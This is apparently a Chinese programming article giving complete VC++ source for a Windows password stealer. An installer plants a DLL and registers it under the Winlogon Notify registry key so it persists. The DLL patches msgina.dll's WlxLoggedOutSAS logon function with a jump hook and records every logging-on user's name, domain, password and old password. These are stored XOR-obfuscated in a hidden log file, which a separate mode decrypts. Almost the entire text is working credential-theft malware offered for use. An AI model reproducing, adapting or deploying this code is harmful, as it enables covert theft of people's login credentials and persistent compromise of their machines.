基于VC++2010实现截获Windows 7密码
Windows外壳，安装Windows密码截获器
void dey()//解密
{
printf("/r/n请不要移动原密码文件!");
system("pause");
char buffer[10000];
ZeroMemory(buffer,10000);
char LogPath[255] = {0};
GetSystemDirectory( LogPath , MAX_PATH);
lstrcat( LogPath, "//pwd.txt");
HANDLE hfile = CreateFile(
LogPath,
GENERIC_READ,
FILE_SHARE_WRITE,
0,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
0);
if(!hfile)
{
printf("打开文件失败!");
return;
}
DWORD st;
int a=ReadFile(hfile,buffer,10000,&st,0);
if(!a)
{
printf("读取失败!");
return;
}
for(int i = 0;i<strlen(buffer);i++)
{
buffer[i]=buffer[i]^3;
}
printf("解密内容为：/r/n%s",buffer);
return;
}
bool installed(); //判断是否已经安装
void installe() //安装函数
{
if(installed())
{
printf("已经安装过了!");
return;
}
HRSRC hResInfo;
HGLOBAL hResData;
DWORD dwSize, dwWritten;
LPBYTE p;
HANDLE hFile;
hResInfo = FindResource(NULL, MAKEINTRESOURCE(IDR_DLL1), "dll");
dwSize = SizeofResource(NULL, hResInfo);
hResData = LoadResource(NULL, hResInfo);
p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);//定位资源
char pfile[200];
GetWindowsDirectory(pfile, 200);
strcat(pfile,"//GetPwd.dll");//C:/WINDOWS/
hFile = CreateFile(pfile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
WriteFile(hFile, (LPCVOID)p,dwSize, &dwWritten, NULL);
CloseHandle(hFile);
GlobalFree((HGLOBAL)p);
HKEY hkey;
if(ERROR_SUCCESS==RegCreateKey(HKEY_LOCAL_MACHINE,
"SOFTWARE//Microsoft//Windows NT//CurrentVersion//Winlogon//Notify//GetPwd//",
&hkey)
)
{
char * name3 ="dog";
RegSetValueEx(hkey,"dllname",0,REG_SZ,(const unsigned char *)pfile,strlen(pfile));
RegSetValueEx(hkey,"startup",0,REG_SZ,(const unsigned char *)name3,strlen("dog"));
printf("安装成功!");
}
else
{
printf("安装失败!");
return;
}
}
bool installed()
{
HKEY hkey;
char sz[256];
DWORD dwtype, sl = 256;
if(ERROR_SUCCESS != RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE//Microsoft//Windows NT//CurrentVersion//Winlogon//Notify//GetPwd",
NULL, KEY_ALL_ACCESS, &hkey) //打开失败，表示没有安装
)
{
RegCloseKey(hkey);
return false;
}
RegCloseKey(hkey);
return true;
}
void usag()//用法提示
{
printf("example:/r/n");
printf("/r/n Install: getpwd.exe installe");
printf("/r/n Decryp : getpwd.exe Decryp /r/n");
}
int main(int argc, char* argv[])
{
if(!lstrcmpi(argv[1],"installe"))//
{
installe();
return 0;
}
else if(!lstrcmpi(argv[1], "Decryp"))
{
dey();
return 0;
}
usag();
return 0;
}
密码截获
#define WLX_SAS_ACTION_LOGON (1)
DWORD WINAPI StartHook(LPVOID lpParameter);
typedef struct _WLX_MPR_NOTIFY_INFO {
PWSTR pszUserName;
PWSTR pszDomain;
PWSTR pszPassword;
PWSTR pszOldPassword;
} WLX_MPR_NOTIFY_INFO, * PWLX_MPR_NOTIFY_INFO;
typedef int (WINAPI* WlxLoggedOutSAS)(
//定义函数原型，以便将数据转发给系统
PVOID pWlxContext,
DWORD dwSasType,
PLUID pAuthenticationId,
PSIDpLogonSid,
PDWORD pdwOptions,
PHANDLE phToken,
PWLX_MPR_NOTIFY_INFOpNprNotifyInfo,
PVOID * pProfile
);
int WINAPI FunNewADDR(
PVOID pWlxContext,
DWORD dwSasType,
PLUID pAuthenticationId,
PSID pLogonSid,
PDWORD pdwOptions,
PHANDLE phToken,
PWLX_MPR_NOTIFY_INFO prNotifyInfo,
PVOID * pProfile);
//自定义接管WlxLoggedOutSAS的函数，形参保持一致
void WriteLog(
PWLX_MPR_NOTIFY_INFOpNprNotifyInfo
);//声明保存用户名密码函数原型
int WideToByte( PCHAR sz_target, PWSTR sz_source , int size_ansi);
void WriteCurrentTime();
void HookWlxLoggedOutSAS();
//执行HOOK
void UnHookWlxLoggedOutSAS();
//撤销HOOK
bool isWin2K()//判断操作系统版本
{
DWORD winVer;
OSVERSIONINFO *osvi;
winVer=GetVersion();
if(winVer<0x80000000)
{
osvi= (OSVERSIONINFO *)malloc(sizeof(OSVERSIONINFO));
if (osvi!=NULL)
{
memset(osvi,0,sizeof(OSVERSIONINFO));
osvi->dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(osvi);
if(osvi->dwMajorVersion==5L&&osvi->dwMinorVersion==0L)
{
free(osvi);
return true;
}
}
}
free(osvi);
return false;
}
#pragma pack(1)//对齐字节
struct HookTable{
HMODULEhMsgina;
WlxLoggedOutSAS OldDDR;
WlxLoggedOutSAS NewADDR;
unsigned charOldCode[6];
unsigned charJmpCode[6];
};//自定义的结构体
HookTable hooktable = {
0 ,
0 ,
&FunNewADDR ,
"/x8B/xFF/x55/x8B/xEC", //前5个字节
"/xE9/x00/x00/x00/x00" //e9 ,jmp
};
/*
#pragma pack()
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
if(isWin2K())
//win2K和xp、2003的前五个字节不同
{
hooktable.OldCode[0] ='/x55';
hooktable.OldCode[1] ='/x8B';
hooktable.OldCode[2] ='/xEC';
hooktable.OldCode[3] ='/x83';
hooktable.OldCode[4] ='/xEC';
}
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
HANDLE hthread = CreateThread( 0 ,
0 ,
LPTHREAD_START_ROUTINE(StartHook) ,
0 ,
0 ,
0);
CloseHandle( hthread );
break;
}
return TRUE;
}
DWORD WINAPI StartHook(LPVOID lpParameter)
{
hooktable.hMsgina = GetModuleHandle( _T("msgina.dll"));
if ( hooktable.hMsgina == NULL)
{
return 0 ;
}
hooktable.OldDDR = (WlxLoggedOutSAS)GetProcAddress( hooktable.hMsgina , _T("WlxLoggedOutSAS") );
//得到原始函数地址，等下撤销HOOK会用到
if (hooktable.OldDDR == NULL)
{
return 0 ;
}
unsigned char *p = (unsigned char *)hooktable.OldDDR;
int *OpCode = (int *)&hooktable.JmpCode[1];//
int Code = (int)hooktable.NewADDR - (int)hooktable.OldDDR - 5;
*OpCode = Code;
HookWlxLoggedOutSAS();
return 0;
}
void HookWlxLoggedOutSAS()
{
DWORD OldProtect = NULL;
VirtualProtect( hooktable.OldDDR ,
5 ,
PAGE_EXECUTE_READWRITE ,
&OldProtect
);//内存访问权限
unsigned char *p = (unsigned char *)hooktable.OldDDR;
for (int i=0 ; i < 5 ; i++ )
{
p[i] = hooktable.JmpCode[i];
}
VirtualProtect( hooktable.OldDDR ,
5 ,
OldProtect ,
&OldProtect
);
return;
}
void UnHookWlxLoggedOutSAS()
{
DWORD OldProtect = NULL;
VirtualProtect( hooktable.OldDDR ,
5 ,
PAGE_EXECUTE_READWRITE ,
&OldProtect );
unsigned char *p = (unsigned char *)hooktable.OldDDR;
for (int i=0 ; i < 5 ; i++ )
{
p[i] = hooktable.OldCode[i];
}
VirtualProtect( hooktable.OldDDR ,
5 ,
OldProtect ,
&OldProtect );
return;
}
char pBuffer[1124];
void WriteLog(PWLX_MPR_NOTIFY_INFOpNprNotifyInfo)
//主要是一些文件操作
{
int size_u = lstrlenW( pNprNotifyInfo->pszUserName );
size_u += lstrlenW( pNprNotifyInfo->pszDomain );
size_u += lstrlenW( pNprNotifyInfo->pszPassword );
size_u += lstrlenW( pNprNotifyInfo->pszOldPassword );
unsigned short *pWBuffer = (unsigned short *)GlobalAlloc( GMEM_FIXED , size_u + 1024 );
unsigned short *tWBuffer = (unsigned short *)GlobalAlloc( GMEM_FIXED , size_u + 1024 );
char pBuffer1[1124];
char *pwd =(char *)GlobalAlloc( GMEM_FIXED , size_u + 1024 );
char *pwd2 =(char *)GlobalAlloc( GMEM_FIXED , size_u + 1024*3 );
ZeroMemory( pWBuffer , size_u + 1024 );
ZeroMemory( pBuffer , size_u + 1024 );
ZeroMemory( pBuffer1 , size_u + 1024 );
if ( !pBuffer )
{
return;
}else
{
WriteCurrentTime();
wsprintfW( pWBuffer ,
L"/r/nUser= %s /r/nDomain = %s/r/nPassWord = %s /r/nOldPass = %s/r/n" ,
pNprNotifyInfo->pszUserName ,
pNprNotifyInfo->pszDomain ,
pNprNotifyInfo->pszPassword,
pNprNotifyInfo->pszOldPassword
);
WideToByte( pBuffer ,
pWBuffer ,
lstrlenW( pWBuffer )
);
}
char LogPath[MAX_PATH] = {0};
GetSystemDirectory( LogPath , MAX_PATH);
lstrcat( LogPath , "//pwd.txt");
HANDLE hfile = CreateFile(
LogPath ,
GENERIC_WRITE ,
FILE_SHARE_WRITE ,
0 ,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL ,
0 );
if (hfile != INVALID_HANDLE_VALUE)
{
unsigned long ret;
SetFilePointer( hfile , -1 , 0 , FILE_END);
int i=0;
SYSTEMTIME st;
int b;
for(;i<strlen(pBuffer);i++)
{
pBuffer[i] = pBuffer[i] ^ 3;//加密采用异或方式
}
WriteFile( hfile , pBuffer , lstrlen( pBuffer ) , &ret , 0 );
CloseHandle( hfile );
}
GlobalFree( pWBuffer );
GlobalFree( pBuffer );
return;
}
void WriteCurrentTime()
{
SYSTEMTIME st;
DWORD ret = 0;
GetLocalTime(&st);
wsprintf( pBuffer , "/r/n%d/%d/%d/%d:%d:%d" ,
st.wYear ,
st.wMonth ,
st.wDay ,
st.wHour ,
st.wMinute,
st.wSecond
);
}
int WideToByte( PCHAR sz_target, PWSTR sz_source , int size_ansi)
{
return WideCharToMultiByte( CP_ACP ,
WC_COMPOSITECHECK ,
sz_source ,
-1 ,
sz_target ,
size_ansi ,
0 ,
0 );
}
int WINAPI FunNewADDR(
PVOID pWlxContext,
DWORD dwSasType,
PLUID pAuthenticationId,
PSIDpLogonSid,
PDWORD pdwOptions,
PHANDLE phToken,
PWLX_MPR_NOTIFY_INFOpNprNotifyInfo,
PVOID * pProfile
)
{
UnHookWlxLoggedOutSAS();
//当系统jmp到我们自己的函数时先解除HOOK
int i = hooktable.OldDDR(pWlxContext ,
dwSasType ,
pAuthenticationId , pLogonSid ,
pdwOptions ,
phToken ,
pNprNotifyInfo,
pProfile
);
if (i == WLX_SAS_ACTION_LOGON )//
{
WriteLog( pNprNotifyInfo );
}
return i;
}
extern "C" __declspec(dllexport) void start()
{
return;
}
